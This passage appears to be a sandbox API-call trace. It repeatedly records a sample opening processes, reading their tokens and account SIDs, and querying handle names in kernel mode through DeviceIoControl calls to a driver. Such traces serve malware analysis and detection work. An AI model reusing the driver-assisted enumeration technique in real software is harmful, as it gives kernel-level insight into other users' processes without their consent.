TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.723] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.723] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.723] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.723] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.725] CloseHandle (hObject=0xc8) returned 1 [0074.725] CloseHandle (hObject=0xc0) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.725] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.725] PsAcquireProcessExitSynchronization () returned 0x0 [0074.725] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054f85d0) [0074.725] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002056980, HandleInformation=0x0) returned 0x0 [0074.725] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.725] PsReleaseProcessExitSynchronization () returned 0x2 [0074.725] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0074.725] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.725] ObfDereferenceObject (Object=0xfffffa8002056980) returned 0x1 [0074.725] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.725] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.725] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0074.726] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.726] PsAcquireProcessExitSynchronization () returned 0x0 [0074.726] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054f85d0) [0074.726] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002056830, HandleInformation=0x0) returned 0x0 [0074.726] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.726] PsReleaseProcessExitSynchronization () returned 0x2 [0074.726] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0074.726] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.726] ObfDereferenceObject (Object=0xfffffa8002056830) returned 0x1 [0074.726] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.726] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.726] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.726] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.726] PsAcquireProcessExitSynchronization () returned 0x0 [0074.726] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880054f85d0) [0074.726] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.726] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.726] PsReleaseProcessExitSynchronization () returned 0x2 [0074.726] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0074.726] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.726] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.726] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.726] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.726] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0xc0 [0074.726] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.726] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020974e0, HandleInformation=0x0) returned 0x0 [0074.726] ObOpenObjectByPointer (in: Object=0xfffffa80020974e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.726] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x12 [0074.726] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.727] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.727] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.727] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.727] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.728] CloseHandle (hObject=0xc8) returned 1 [0074.728] CloseHandle (hObject=0xc0) returned 1 [0074.728] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.728] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.728] PsAcquireProcessExitSynchronization () returned 0x0 [0074.728] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054f85d0) [0074.728] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002097e10, HandleInformation=0x0) returned 0x0 [0074.728] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.729] PsReleaseProcessExitSynchronization () returned 0x2 [0074.729] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0074.729] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.729] ObfDereferenceObject (Object=0xfffffa8002097e10) returned 0x1 [0074.729] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.729] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.729] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0074.729] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.729] PsAcquireProcessExitSynchronization () returned 0x0 [0074.729] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054f85d0) [0074.729] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002099260, HandleInformation=0x0) returned 0x0 [0074.729] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.729] PsReleaseProcessExitSynchronization () returned 0x2 [0074.729] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0074.729] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.729] ObfDereferenceObject (Object=0xfffffa8002099260) returned 0x1 [0074.729] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.729] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.729] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.729] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.729] PsAcquireProcessExitSynchronization () returned 0x0 [0074.729] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880054f85d0) [0074.729] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.729] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.729] PsReleaseProcessExitSynchronization () returned 0x2 [0074.729] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0074.729] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80036b4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80036b4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.729] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.729] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.730] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.730] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0xc0 [0074.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.730] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800205b100, HandleInformation=0x0) returned 0x0 [0074.730] ObOpenObjectByPointer (in: Object=0xfffffa800205b100, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.730] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x12 [0074.730] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.730] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.730] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.730] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.730] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.731] CloseHandle (hObject=0xc8) returned 1 [0074.731] CloseHandle (hObject=0xc0) returned 1 [0074.731] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.731] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.731] PsAcquireProcessExitSynchronization () returned 0x0 [0074.732] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054f85d0) [0074.732] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020ab970, HandleInformation=0x0) returned 0x0 [0074.732] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.732] PsReleaseProcessExitSynchronization () returned 0x2 [0074.732] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0074.732] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80036c2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80036c2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.732] ObfDereferenceObject (Object=0xfffffa80020ab970) returned 0x1 [0074.732] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.732] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.732] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0074.732] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.732] PsAcquireProcessExitSynchronization () returned 0x0 [0074.732] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054f85d0) [0074.732] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a3ddd0, HandleInformation=0x0) returned 0x0 [0074.732] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.732] PsReleaseProcessExitSynchronization () returned 0x2 [0074.732] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0074.732] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.732] ObfDereferenceObject (Object=0xfffffa8001a3ddd0) returned 0x1 [0074.732] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.732] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.732] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.732] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.732] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.732] PsAcquireProcessExitSynchronization () returned 0x0 [0074.732] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880054f85d0) [0074.732] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.732] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.732] PsReleaseProcessExitSynchronization () returned 0x2 [0074.732] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0074.733] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003817044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003817044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.733] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.733] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.733] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.733] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0xc0 [0074.733] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.733] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002044060, HandleInformation=0x0) returned 0x0 [0074.733] ObOpenObjectByPointer (in: Object=0xfffffa8002044060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.733] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x12 [0074.733] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.733] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.733] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.733] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.733] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.734] CloseHandle (hObject=0xc8) returned 1 [0074.735] CloseHandle (hObject=0xc0) returned 1 [0074.735] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.735] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.735] PsAcquireProcessExitSynchronization () returned 0x0 [0074.735] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054f85d0) [0074.735] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800201e6a0, HandleInformation=0x0) returned 0x0 [0074.735] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.735] PsReleaseProcessExitSynchronization () returned 0x2 [0074.735] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0074.735] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800385f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800385f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.735] ObfDereferenceObject (Object=0xfffffa800201e6a0) returned 0x1 [0074.735] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.735] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.735] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.735] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0074.735] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.735] PsAcquireProcessExitSynchronization () returned 0x0 [0074.735] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880054f85d0) [0074.735] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002091a90, HandleInformation=0x0) returned 0x0 [0074.735] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.735] PsReleaseProcessExitSynchronization () returned 0x2 [0074.735] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0074.735] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.735] ObfDereferenceObject (Object=0xfffffa8002091a90) returned 0x1 [0074.735] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.735] HeapFree (in: hHeap=0x150000, dwFlags=0x0, 